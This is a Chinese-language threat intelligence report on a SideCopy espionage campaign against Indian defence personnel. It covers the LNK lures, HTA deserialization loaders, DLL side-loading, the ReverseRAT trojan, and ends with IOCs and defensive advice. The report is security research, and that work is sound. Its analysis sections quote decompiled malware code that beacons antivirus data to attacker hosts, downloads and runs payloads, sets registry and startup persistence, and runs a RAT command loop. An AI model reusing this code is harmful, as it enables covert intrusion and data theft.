概述
瑞星威胁情报平台于2023年5月捕获到一起疑似针对印度国防部门的攻击事件。攻击者使用快捷方式作为初始攻击武器,并通过双扩展名技术伪装成由印度军事单位发布的合法文件,以此诱骗目标用户。根据对该组织过往攻击行动的研究,推测初始武器可能是使用钓鱼邮件或社交软件等方式进行投递。在攻击行动的不同阶段中,攻击者使用了无文件落地、DLL侧加载等免杀技术,同时攻陷了来自印度的合法网站作为恶意载荷的下载服务器,并对下载数据进行了编码处理,以此躲避本地安全检测机制。在最后阶段则是使用了该组织常用的ReverseRAT
等远控工具,对受害者主机进行信息窃取和远程控制。
SideCopy
组织疑似来自于巴基斯坦,至少从2019年就开始展开网络攻击活动,主要针对南亚国家,特别是印度和阿富汗的政府部门。由于该组织的攻击方式试图模仿SideWinder
(疑似来自印度的攻击组织,中文名响尾蛇
)组织,故得名SideCopy
。另外,据相关研究披露该组织疑似与Transparent Tribe
(中文名透明部落
)有相似之处,可能是该组织的一个分支。
ATT&CK 矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0002 -执行 |
T1059 -命令和脚本解释器 |
利用mshta.exe执行远程hta程序 |
TA0002 -执行 |
T1204 -用户执行 |
扩展名混淆的方式将快捷方式伪装成合法文档,诱骗用户执行 |
TA0003 -持久化 |
T1547 -启动或登录自动执行 |
创建注册表自启动项及自启动目录内释放执行恶意程序的快捷方式 |
TA0005 -防御规避 |
T1574 -劫持执行流 |
将恶意程序伪装成合法DLL文件,通过侧加载方式执行 |
TA0005 -防御规避 |
T1036 -伪装 |
双文件扩展名方式将LNK伪装成DOCX、PDF或PNG文件 |
TA0005 -防御规避 |
T1027 -混淆过的文件或信息 |
C2服务器地址、创建注册表命令等字符串编码后存储,执行时解码 |
TA0007 -环境发现 |
T1083 -枚举文件和目录 |
获取指定路径下目录和文件信息 |
TA0007 -环境发现 |
T1057 -收集进程信息 |
收集被入侵主机的所有进程列表 |
TA0007 -环境发现 |
T1518 -收集软件信息 |
收集被入侵主机安装的安全软件信息 |
TA0007 -环境发现 |
T1082 -收集系统信息 |
收集被入侵主机的操作系统和硬件信息 |
TA0007 -环境发现 |
T1016 -收集系统网络配置 |
收集被入侵主机的MAC地址和IP地址 |
TA0007 -环境发现 |
T1033 -探测系统所有者/用户 |
收集被入侵主机的用户名 |
TA0009 -收集信息 |
T1113 -屏幕截图 |
获取屏幕截图 |
TA0010 -外传信息 |
T1020 -自动外传 |
自动发送收集到的受害者机器信息 |
TA0010 -外传信息 |
T1041 -通过C2通道外传 |
C2通道同时可以接收木马回传的受害者机器信息 |
攻击事件详情
此次攻击事件中,攻击者使用了多个快捷方式作为初始攻击武器,分别为Performa's feedback.docx.lnk
、Asigma dated 22 May 23 .pdf.lnk
和pessonal pic.png.lnk
。根据其文件名可知,快捷方式通过双扩展名方法被伪装成了不同主题的文件,而在后续的攻击链中会打开相对应的诱饵文档,以此欺骗用户,使得攻击行动难以被及时发现。而本次事件中捕获到了两个诱饵文档,分别为印度国防研究与发展组织(DRDO
)提供的国防产品使用反馈表和印度陆军训练司令部(ARTRAC
)发布的人员培训通知,根据内容判定此次行动的攻击目标大概率为印度国防部门的相关人员。
整个攻击行动可以分为三个阶段,第一阶段开始于伪装的快捷方式,负责执行位于远程服务器上的hta
脚本,然后通过反序列化方式动态执行下一阶段的恶意载荷。而在之后的各阶段中,攻击者利用多种免杀技术及攻击武器以实现对目标的信息窃取、远程控制及其他恶意行为。
文件名为Invitation Performa vis a vis feedback.doc
的诱饵文档内容如下:
文件名为3693-22 May 23.pdf
的诱饵文档内容如下:
攻击流程
其攻击流程图如下:
样本分析
在此次攻击事件中,攻击者虽然使用了多个快捷方式作为初始文件,但是通过分析发现这些文件使用的技术及攻击武器基本相同,区别仅在于伪装的主题及相对应的诱饵文档,所以将这些文件归属于同一起攻击事件。此处选择名为Performa's feedback.docx.lnk
的文件作为报告分析的初始样本,该样本释放的诱饵文档名为Invitation Performa vis a vis feedback.doc
,根据文件名和内容可知此文件是由印度国防研究与发展组织(DRDO
)向有关人员提供的国防产品使用反馈表。
1. 初始样本分析:Performa’s feedback.docx.lnk
字段 | 内容 |
---|---|
原始文件名 | Performa’s feedback.docx.lnk |
文件大小 | 68.8 KB (70,540 bytes) |
文件MD5 | 49f3f2e28b9e284b4898fafa452322c0 |
文件类型 | LNK文件 |
病毒名 | Downloader.Mshta/LNK!1.BADA |
主要功能 | 启动系统工具mshta.exe 执行远程脚本,从而启动攻击行动 |
该文件的主要功能是使用系统工具mshta.exe
执行位于远程服务器上的hta
脚本,执行的命令为C:\Windows\System32\mshta.exe hxxps://elfinindia.com/wp-includes/files/man
。值得注意的是,此处使用到的站点elfinindia.com
是印度一家翻译公司的官方网站,推测该服务器是被攻击者攻陷用作恶意载荷的下载站点,以此躲避网络监控。
2. HTA脚本分析:d.hta
字段 | 内容 |
---|---|
原始文件名 | d.hta |
文件大小 | 51.6 KB (52,856 bytes) |
文件MD5 | bec31f7edc2032cf1b25eb19aae23032 |
文件类型 | HTA文件 |
病毒名 | HackTool.GadgetToJScript/JS!1.B97D |
主要功能 | 动态加载恶意的DLL程序 |
该文件为脚本程序,直接使用了开源项目CACTUSTORCH
的大部分代码并增加了搜集本地安全软件信息的功能,其文件内部存储了恶意载荷及诱饵文档的硬编码数据并进行了base64
编码处理。恶意载荷为.NET
库文件,由JS
代码通过反序列化方式在内存中动态执行,从而实现无文件落地。同时向动态执行的恶意载荷传入了三个参数,分别为诱饵文档名称、诱饵文档编码数据和本地安全软件信息。以下为部分代码:
// 诱饵文档的硬编码数据,此处略去大部分
var MNG_XMB_KOP = "AMoAAB+LCAAAAAAABADtfQdcU736f9qylaWAyJCCVUHZyBBB9t5bEZQCBQq0hZapoCIoisoSURAZCoIb...";
// 恶意载荷的编码数据,此处略去大部分
var VXR_ZWT_JKL = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy...";
// 获取本地安全软件信息
var BMZ_TTU_QAZ = GetObject("winmgmts:\\\\.\\root\\SecurityCenter2");
var peter=FNTJKI_LKIOUTS('U2VsZWN0ICogRnJvbSBBbnRpVmlydXNQcm9kdWN0'); // "Select * From AntiVirusProduct"
var FNTJKI_LKIOUTS_LAJDLD_QWESTR = BMZ_TTU_QAZ.ExecQuery(peter, null, 48);
var NNSLKERT_HLKSHELSL_JHKLSILELXKD = new Enumerator(FNTJKI_LKIOUTS_LAJDLD_QWESTR);
var HYTOS_LKSHDKS = "";
for (; !NNSLKERT_HLKSHELSL_JHKLSILELXKD.atEnd(); NNSLKERT_HLKSHELSL_JHKLSILELXKD.moveNext()) {
HYTOS_LKSHDKS += (NNSLKERT_HLKSHELSL_JHKLSILELXKD.item().displayName + ' ' + NNSLKERT_HLKSHELSL_JHKLSILELXKD.item().productState).replace(" ", "");
HYTOS_LKSHDKS += "&";
}
// 反序列化方式动态执行.NET库文件
var TYIWSSD_HLSKDHLSSD = bazSixFerToStreeeeamStranger(VXR_ZWT_JKL);
var OPOIUY_BNMJUYH_GAGHGDHSJ_SGGSHSHS = new ActiveXObject(bts);
var CBBZCS_SGSWRW_NMKISG = new ActiveXObject(ats);
var HJUSD_HSKHDKS_LSHLLS = OPOIUY_BNMJUYH_GAGHGDHSJ_SGGSHSHS.Deserialize_2(TYIWSSD_HLSKDHLSSD);
CBBZCS_SGSWRW_NMKISG.Add(undefined);
var RTRW_NMBH_SHSHJSS_MNJKLK = HJUSD_HSKHDKS_LSHLLS.DynamicInvoke(CBBZCS_SGSWRW_NMKISG.ToArray()).CreateInstance(memoryloader); // 实例化DraftingPad类
RTRW_NMBH_SHSHJSS_MNJKLK.OpenAll(MNG_XMB_KOP,"Invitation Performa vis a vis feedback.doc",HYTOS_LKSHDKS); // 执行入口函数OpenAll并传入三个参数
3. 木马加载器分析:preBotHta.dll
字段 | 内容 |
---|---|
原始文件名 | preBotHta.dll |
文件大小 | 18.0 KB (18,432 bytes) |
文件MD5 | d3d3312949a4126540910917019bf8fe |
文件类型 | DLL |
病毒名 | Downloader.[SideCopy]Agent!1.E5F5 |
主要功能 | 上传本地安全软件信息、释放并打开诱饵文档、下载恶意程序 |
备注 | 无文件落地 |
该文件为.NET
库文件,其功能包括:上传本地安全软件信息、释放并打开诱饵文档、下载恶意载荷并执行。其中下载的恶意载荷有两个,经过本地编码及重命名处理后分别为xml.hta
和DUser.dll
。xml.hta
与上个阶段的hta
脚本功能基本相同,也是使用反序列化方式动态执行.NET
程序,该程序就是名为ReverseRAT
的远控木马。而另一个文件DUser.dll
则是由系统自带工具credwiz.exe
通过侧加载方式执行,负责上传本地信息并下载恶意程序。不过由于C2服务器地址已不可用,所以本次事件中并未捕获到下载的恶意程序。
3.1. 上传安全软件信息
此处上传的安全软件信息并非是之前传入的参数,而是通过代码重新获取的,其上传的服务器地址为hxxps://elfinindia.com/wp-includes/files/oth/av/
。
DraftingPad.infinity("hxxps://elfinindia.com/wp-includes/files/oth/av/"); // 向该地址发送本地安全软件信息
private static string infinity(string beaconURL)
{
string result = string.Empty;
string av = DraftingPad.getAv(); // 获取本地安全软件信息
try
{
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(beaconURL);
ServicePointManager.ServerCertificateValidationCallback = ((object <p0>, X509Certificate <p1>, X509Chain <p2>, SslPolicyErrors <p3>) => true);
httpWebRequest.Headers.Add("accept-encoding", "gzip, deflate, br");
httpWebRequest.Headers.Add("cache-control", "max-age=0");
httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36";
httpWebRequest.Headers.Add("accept-encoding", "gzip, deflate, br");
httpWebRequest.Headers.Add("accept-language", "en-US,en;q=0.9");
httpWebRequest.Headers.Add("cache-control", "max-age=0");
httpWebRequest.Headers.Add("upgrade-insecure-requests", "1");
httpWebRequest.ServicePoint.SetTcpKeepAlive(false, 0, 0);
string s = "anvaro=" + Uri.EscapeDataString(av);
byte[] bytes = Encoding.UTF8.GetBytes(s);
httpWebRequest.Method = "POST"; // POST方法发送数据
httpWebRequest.ContentType = "application/x-www-form-urlencoded";
httpWebRequest.ContentLength = (long)bytes.Length;
Stream stream = httpWebRequest.GetRequestStream();
stream.Write(bytes, 0, bytes.Length); // 将安全软件信息写入数据流
stream.Close();
WebResponse response = httpWebRequest.GetResponse();
stream = response.GetResponseStream();
StreamReader streamReader = new StreamReader(stream);
result = streamReader.ReadToEnd();
streamReader.Close();
}
catch (Exception ex)
{
result = "Error";
}
return result;
}
3.2. 打开诱饵文档
诱饵文档名和编码数据是作为参数传入的,在经过本地解码处理后释放于本地临时目录下并打开。此处的字符串编码方式后面代码中被多次使用,用于解码一些重要的敏感字符串,以此躲避安全检测机制。
byte[] bytes = Encoding.Default.GetBytes(dd); // 诱饵文档的编码数据,传入的参数
string @string = Encoding.Default.GetString(bytes);
string s = this.decompressData(@string);
File.WriteAllBytes(tempPath + dname, Encoding.Default.GetBytes(s)); // 释放诱饵文档到临时目录下
Process.Start(tempPath + dname); // 打开诱饵文档
方法decompressData
的代码
public string decompressData(string compressedText)
{
byte[] array = Convert.FromBase64String(compressedText);
string @string;
using (MemoryStream memoryStream = new MemoryStream())
{
int num = BitConverter.ToInt32(array, 0);
memoryStream.Write(array, 4, array.Length - 4);
byte[] array2 = new byte[num];
memoryStream.Position = 0L;
using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress))
{
gzipStream.Read(array2, 0, array2.Length);
}
@string = Encoding.Default.GetString(array2);
}
return @string;
}
3.3. 下载数据
下载地址以编码形式存储,在经过解码处理分别为hxxps://elfinindia.com/wp-includes/files/oth/hl
和hxxps://elfinindia.com/wp-includes/files/oth/dl
,而下载的数据也经过了编码处理,以躲避流量监控。
// getThridStrike负责下载
this.ht = this.getThridStrike(this.decompressData("LwAAAB+LCAAAAAAABADLKCkpKLbS10/NScvMy8xLyUzUS87P1S8v0M3MS84pTUkt1k/LzAGS+SUZ+hk5ANRROcQvAAAA")); // 下载地址的编码数据解码
this.dllBytes = this.getThridStrike(this.decompressData("LwAAAB+LCAAAAAAABADLKCkpKLbS10/NScvMy8xLyUzUS87P1S8v0M3MS84pTUkt1k/LzAGS+SUZ+ik5ANgejGgvAAAA")); // 下载地址的编码数据解码
方法getThridStrike负责下载数据,代码如下:
public string getThridStrike(string source)
{
using (WebClient webClient = new WebClient())
{
try
{
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
webClient.DownloadFile(source, this.targetPath + "qt5.otd");
}
catch (WebException ex)
{
}
}
return File.ReadAllText(this.targetPath + "qt5.otd");
}
3.4. 执行xml.hta
地址hxxps://elfinindia.com/wp-includes/files/oth/hl
下载的数据在经过本地解码及重命名后为xml.hta
,存放于目录C:\Users\Public\cdnews
中,该脚本文件负责执行名为ReverseRAT
的远控木马。
byte[] bytes2 = Encoding.Default.GetBytes(this.ht);
string string2 = Encoding.Default.GetString(bytes2);
string s2 = this.decompressData(string2);
File.WriteAllBytes(tempPath + "temp.jpg", Encoding.Default.GetBytes(s2)); // 写入文件temp.jpg
File.Move(tempPath + "temp.jpg", this.targetPath + this.tgtHTPName); // 移动该文件为xml.hta
Thread.Sleep(5000);
this.deletePreviousVersion();
Thread.Sleep(500);
Process.Start(this.targetPath + this.tgtHTPName); // 执行下载的xml.hta脚本
3.5. 侧加载执行DUser.dll
由以下代码可知,程序根据安全软件名称的不同而执行不同的分支,安全软件信息则来自于上面传入的参数。但通过后续分析发现,不同分支的功能其实都是一样的,包括本地持久化和侧加载方式执行恶意的DLL
库文件,只不过是使用了不同的实现方法。DLL
库文件的编码数据由另一个地址hxxps://elfinindia.com/wp-includes/files/oth/dl
提供下载,经过处理后伪装为名为DUser.dll
的系统文件,同样存放于目录C:\Users\Public\cdnews
中。而执行侧加载的主程序同样为系统自带工具credwiz.exe
,复制到同一目录下后改名为cdrzip.exe
。
bool flag4 = av.Contains("Seqrite");
bool flag5 = av.Contains("Kaspersky");
bool flag6 = av.Contains("Quick");
bool flag7 = av.Contains("Avast");
bool flag8 = av.Contains("Avira");
bool flag9 = av.Contains("Bitdefender");
bool flag10 = av.Contains("WindowsDefender");
bool flag11 = flag5;
if (flag11) // kaspersky
{
// 复制系统工具credwiz.exe为cdrzip.exe
this.copyMainProcess();
this.activeKasperksy(this.dllBytes); // 执行activeKasperksy
}
else
{
bool flag12 = flag6 || flag4; // QuickHeal或Seqrite
if (flag12)
{
this.copySideProcess(); // 与copyMainProcess相同
this.activeQuickV2(this.dllBytes); // 执行activeQuickV2
}
else
{
this.activeAvast(this.dllBytes); // 执行activeAvast
Thread.Sleep(1000);
this.copyMainProcess();
Thread.Sleep(1000);
Process.Start(this.targetEXEName); // 启动cdrzip.exe,通过侧加载方式执行DUser.dll
}
}
本地安装的安全软件为Kaspersky
,通过自启动目录创建快捷方式的方法实现持久化,同时调用powershell
执行侧加载主程序。
public void activeKasperksy(string dllBytes)
{
this.CopyDLL(dllBytes); // 将下载数据解码处理并释放于本地,为DUser.dll
DraftingPad.ExecuteRename();
this.work(true); // 自启动目录创建快捷方式,实现持久化
DraftingPad.ExecuteCommandMain(true); // 调用powershell执行cdrzip.exe
}
方法work
负责在自启动目录下创建快捷方式,分别名为vxm.lnk
和zxm.lnk
。其中vxm.lnk
执行命令C:\Windows\System32\cmd.exe /c start /b C:\Users\Public\cdnews\cdrzip.exe
,zxm.lnk
执行命令C:\Windows\System32\cmd.exe /c start /b C:\Users\Public\xml.hta
。
public void work(bool isCred)
{
if (isCred)
{
string s = this.decompressData(this.LnkFileBytes_dl);
string path = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + DraftingPad.LnklFileName1_DL;
File.WriteAllBytes(path, Encoding.Default.GetBytes(s));
string s2 = this.decompressData(this.LnkFileBytes_ht);
string path2 = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + DraftingPad.LnklFileName2_ht;
File.WriteAllBytes(path2, Encoding.Default.GetBytes(s2));
}
}
本地安装的安全软件为QuickHeal
或Seqrite
时,同样是在自启动目录创建快捷方式的方法实现持久化,不同之处是以进程方式启动侧加载主程序。
public void activeQuickV2(string dllBytes)
{
this.CopyDLLV2(dllBytes); // 释放下载的数据到本地,此处名为\\cdnews\\rech.dat
this.work(true); // 与activeKasperksy中的work方法相同,创建两个负责自启动的快捷方式
File.Move(DraftingPad.tmpDLLName, DraftingPad.targetDLLName); // 移动为\\cdnews\\DUser.dll
Thread.Sleep(100);
Process.Start(this.targetEXEName); // 启动cdrzip.exe,通过侧加载方式执行DUser.dll
}
安全软件为其他或未安装安全软件时,程序则是通过创建自启动注册表项的方式实现本地持久化,然后以进程方式启动侧加载主程序。创建注册表项的命令经过解码处理后分别写入批处理文件内然后被执行,命令如下:
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "cdnews" /t REG_SZ /F /D "C:\Users\Public\cdnews\cdrzip.exe"
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "cdnewsht" /t REG_SZ /F /D "C:\Users\Public\cdnews\xml.hta"
public void activeAvast(string dllBytes)
{
this.avastwork(); // 执行批处理文件,创建注册表自启动项
Thread.Sleep(1000);
this.CopyDLL(dllBytes);
}
public void avastwork()
{
string tempPath = Path.GetTempPath();
string text = tempPath + this.BatFileName;
string text2 = tempPath + "test.bat";
bool flag = File.Exists(text2);
if (flag)
{
File.Delete(text2);
}
bool flag2 = File.Exists(text);
if (flag2)
{
File.Delete(text);
}
Thread.Sleep(1000);
string s = this.decompressData(this.BatFileBytes_dl); // 解码批处理文件的编码数据
string s2 = this.decompressData(this.BatFileBytes_ht); // 同上
try
{
File.WriteAllBytes(text, Encoding.Default.GetBytes(s));
Thread.Sleep(1000);
File.Move(text, text2);
Process.Start(text2);
Thread.Sleep(1000);
File.Delete(text);
Thread.Sleep(1000);
File.Delete(text2);
string text3 = this.targetPath + this.BatFileName;
File.WriteAllBytes(text, Encoding.Default.GetBytes(s2));
Thread.Sleep(1000);
File.Move(text, text2);
Process.Start(text2);
}
catch (IOException ex)
{
}
}
4. HTA脚本分析:xml.hta
字段 | 内容 |
---|---|
原始文件名 | xml.hta |
文件大小 | 35.3 KB (36,161 bytes) |
文件MD5 | fcd0cd0e8f9e837ce40846457815cfc9 |
文件类型 | HTA脚本 |
病毒名 | HackTool.GadgetToJScript/JS!1.B97D |
主要功能 | 动态执行ReverseRAT木马程序 |
该文件为HTA
脚本程序,与初始阶段的hta
脚本功能基本一致,通过反序列化动态执行.NET
程序。
var CLlBytesuploadedClear = bazSixFerToStreeeeamStranger(inheretanceloaded); // DLL编码数据
var RunTimeFileLoader = new ActiveXObject(bts);
var CoyArrayInRunTime = new ActiveXObject(ats);
var SMPLoader = RunTimeFileLoader.Deserialize_2(CLlBytesuploadedClear);
CoyArrayInRunTime.Add(undefined);
var FinalModuleUploader = SMPLoader.DynamicInvoke(CoyArrayInRunTime.ToArray()).CreateInstance("DraftingPad"); // 实例化DraftingPad类
FinalModuleUploader.run(); // 调用DraftingPad类的run方法
5. ReverseRAT木马分析:preBotHta.dll
字段 | 内容 |
---|---|
原始文件名 | preBotHta.dll |
文件大小 | 21.5 KB (22,016 bytes) |
文件MD5 | b48dec5149f44f3dd79105e1cd4a800f |
文件类型 | DLL |
病毒名 | Backdoor.ReverseRAT!1.E5F8 |
主要功能 | 远控木马 |
该文件为ReverseRAT
远控木马,通过接收C2服务器的指令来执行不同的操作,包括搜集本地信息、文件和进程列表、屏幕截图等功能。C2服务器地址为144.126.143.138
,端口为9813
。在与服务器建立连接后将循环不停的接收数据,直到连接断开。
private static void RequestLoop()
{
for (;;)
{
bool flag = !Base._clientSocket.Connected;
if (flag)
{
break;
}
bool flag2 = !Base.IsSocketConnected(Base._clientSocket);
if (flag2)
{
break;
}
Base.ReceiveResponse(); // 处理接收到的数据
}
Base._clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
Base.ConnectToServer();
Base.isDisconnect = false;
Base.RequestLoop();
}
根据代码分析发现,接收的数据由指令字符串和功能字符串组成,使用特殊字符-
或;
进行分割。比如指令getinfo
,就是由字符-
拼接,前面为指令字符串getinfo
,后面则为功能字符串,猜测是受害者主机标志。该指令负责发送本地信息,包括IP地址、机器名、用户名等。将收集到的信息由特殊字符|
拼接,并在前面加上接收的功能字符串,然后发送给C2服务器。
bool flag = text.StartsWith("getinfo-"); // 指令以"getinfo"开头,以字符"-"分割,负责收集并发送本地相关信息
if (flag)
{
string text2 = "infoback;";
text2 += text.Substring(8);
text2 += ";";
text2 += SystemInfo.GetLocalIPAddress();
text2 += Constantes.Separator;
text2 += SystemInfo.GetMachineName();
text2 += Constantes.Separator;
text2 += SystemInfo.GetUserName();
text2 += Constantes.Separator;
text2 += SystemInfo.GetWindowsVersion();
text2 += Constantes.Separator;
text2 += Constantes.Version;
Thread.Sleep(500);
Base.SendCommand(text2);
}
指令功能列表如下:
指令字段 | 功能 |
---|---|
getinfo | 发送本地信息 |
dc | 重启连接 |
lsdrives | 发送驱动器信息 |
lsfiles | 发送指定路径下的目录和文件列表 |
dlfile | 发送指定文件的内容 |
exfile | 执行指定的程序 |
upfile | 接收文件 |
dtfile | 删除指定文件 |
rmfile | 移动文件 |
procview | 发送进程列表 |
scrnshot | 截屏 |
cmd | 执行cmd命令 |
control | 执行shutdown命令 |
sysinfo | 发送系统信息 |
msgbox | 没有使用 |
screenspy | 屏幕监控 |
stopscreenspy | 停止屏幕监控 |
play | 播放song.wav文件 |
6. C2后门分析:DUser.dll
字段 | 内容 |
---|---|
原始文件名 | DUser.dll |
文件大小 | 221 KB (226,304 bytes) |
文件MD5 | 8f670928bc503b6db60fb8f12e22916e |
文件类型 | DLL |
病毒名 | Backdoor.Agent!1.E604 |
主要功能 | 上传本地信息并下载恶意程序 |
备注 | 系统工具credwiz.exe侧加载方式执行 |
该恶意程序被伪装成名为DUser.dll
的系统库文件,使用DLL
侧加载技术被注入到内存中执行。主程序为系统工具credwiz.exe
,为了防止被检测到调用系统工具,又将该工具改名为cdrzip.exe
。恶意程序在动态执行后将首先搜集本地信息,包括主机名、用户名、系统版本号、安全软件名等。按照自定义格式拼接后发送给远程服务器,服务器地址为144.126.143.138
,之后将从该服务器接收数据写入本地文件并执行,但是该服务器已经失效,无法获取接收的数据。
程序中使用到的敏感字符串,比如服务器地址、端口号等,经过编码处理下,需要在本地经过异或算法解码。
va_start(va, encode_data); // 编码字符串
v8 = 0;
qmemcpy(v5, "PCQBAX", 6); // 解码的key
sub_7460E200(v7, (int)va);
for(i = 0; ; ++i)
{
v1 = sub_7460DC20((int *)va);
if (i >= v1)
break;
v2 = sub_7460DD50((int *)va, i);
v3 = v5[i % 6] ^ *v2; // 异或解码
*sub_7460DD50(v7, i) = v3;
}
向服务器发送数据,地址是hxxp://144.126.143.138:8080/user_details
。
.text:7460A544 8B 4D 10 mov ecx, [ebp+arg_8]
.text:7460A547 51 push ecx ; ip地址:144.126.143.138
.text:7460A548 8B 55 0C mov edx, [ebp+arg_4]
.text:7460A54B 52 push edx ; 路径:"/user_deatils"
.text:7460A54C 68 98 FF 62 74 push offset aPost ; "POST"
.text:7460A551 8B 45 08 mov eax, [ebp+arg_0]
.text:7460A554 50 push eax ; 发送的信息
.text:7460A555 8B 4D F8 mov ecx, [ebp+var_8]
.text:7460A558 E8 83 F5 FF FF call sub_74609AE0 ; 连接服务器
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本。
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
49F3F2E28B9E284B4898FAFA452322C0 1AFC64E248B3E6E675FA31D516F0EE63 BECBF20DA475D21E2EBA3B1FE48148EB BEC31F7EDC2032CF1B25EB19AAE23032 C808F7C2C8B88C92ABF095F10AFAE803 4559EF3F2D05AA31F017C02ABBE46FCB D3D3312949A4126540910917019BF8FE FCD0CD0E8F9E837CE40846457815CFC9 B48DEC5149F44F3DD79105E1CD4A800F 8F670928BC503B6DB60FB8F12E22916E
-
URL
hxxps://elfinindia[.]com/wp-includes/files/oth/av/ hxxps://elfinindia[.]com/wp-includes/files/man hxxps://elfinindia[.]com/wp-includes/files/oth/hl hxxps://elfinindia[.]com/wp-includes/files/oth/dl
-
IPV4
144.126.143.138
-
瑞星病毒名
Downloader.[SideCopy]Agent!1.E5F5 Backdoor.ReverseRAT!1.E5F8 Backdoor.Agent!1.E604